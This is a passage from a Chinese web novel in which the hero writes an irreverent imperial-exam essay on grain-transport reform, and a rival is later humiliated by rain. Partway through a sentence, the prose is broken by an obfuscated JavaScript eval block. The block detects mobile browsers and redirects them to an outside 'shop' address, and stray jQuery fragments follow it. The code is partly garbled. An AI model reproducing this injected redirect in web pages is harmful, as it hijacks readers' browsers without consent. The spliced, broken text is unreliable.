月月谈，耳朵都听出茧子了！然学生以为，此皆“标”也，非“本”也！治标不治本，犹如扬汤止沸，隔靴搔痒！”

    “何为本？制度百年不变，僵化如铁为本！技术停滞不前，落后如牛为本！管理全凭经验，粗放如牧羊为本！”

    接着，他用一连串生动泼辣、堪称“毒舌”的比喻展开论述，鞭辟入里：

    “何以言制度僵化？现今漕运章程，犹如【百年老店只卖一味菜——不知变通！】年年循旧例，岁岁走老路。遇河道淤塞，只知加派民夫，人海战术，劳民伤财，却不知研究新式挖泥船，事半功倍。遇漕粮霉变损耗，只知责罚运丁克扣工食，却不懂改善仓储通风包装防潮，此非“头痛医头，脚痛医脚，结果浑身是病”乎？”

    “何以言技术落后？我大周漕船，船型笨重如猪，帆桅低效如鸭，

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16711853|187586||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    全仗人力风力，逆水行舟犹如【老牛拉破车——慢吞吞，还费草料！】为何不格物致知，研究水密隔舱以抗沉，尖底龙骨以破浪，多桅帆装以借八面来风？若漕船速度能快三分，则损耗可减三成，效率能增五成！此乃“磨刀不误砍柴工”之真义也！总比某些人只知道喊加油拉纤要强吧？”(含沙射影，打脸赵公子)

    “何以言管理粗放？漕粮从征收、运输到入库，全凭老吏经验，账目模糊，损耗率成了一笔谁也说不清的“糊涂账”！为何不引入标准计量（如统一校准斛斗，杜绝大斗进小斗出）、复式记账法（使账目清晰，有据可查）、甚至设立独立审计司（垂直管理，不受地方掣肘）？让每一粒漕米的来龙去脉都清清楚楚？如此贪墨之弊，方能水落石出，无处遁形！”

    最后，林闲更是抛出更加大胆甚至“离经叛道”的革新之策，堪称石破天惊：

    “故学生以为，革新之策，首在变法与格物！可尝试漕运承包制，引入商贾之效率与活力，设立皇家漕运技术学堂，专研船舶、水利、物流，甚至可探索海运辅漕，不能把所有鸡蛋放在一个篮子里。免得运河一断，京师就要饿肚子！”

    整篇文章观点犀利，直指制度和技术核心。用词泼辣大胆，俚俗比喻与深刻洞见并存，将漕运弊病分析得入木三分。提出的对策远超时代，简直是一篇酣畅淋漓的“古代版漕运改革白皮书”！

    那位曾被他“沐浴论”逗笑的张考官巡视到此，看到这篇奇文尤其是“秃子头上的虱子”、“老牛拉破车”、“不能把所有鸡蛋放在一个篮子里”这些妙语，再次忍俊不禁。

    他摇头叹道：“此子……真乃鬼才！话糙理不糙，字字珠玑，发人深省啊！赵家公子那篇陈词滥调，与此文相比，简直是云泥之别！”

    而就在这时，天空毫无征兆阴沉下来，顷刻间下起了瓢泼大雨。

    赵公子正探头怒视林闲，试图寻找他答卷中的破绽。

    被这突如其来的雨水混着额头上不断滴下的油腻汗水，还有不小心蹭到的墨汁，糊了满满一脸，瞬间成了滑稽的大花猫。

    “糟糕！”

    他狼狈不堪惊呼着缩回头，去找东西遮挡。

    而林闲因涂了防晒霜，雨水淋上随手用布巾一擦便清清爽爽，甚至趁着雨声答题更快了。

    雨停后，赵公子心态已彻底崩溃。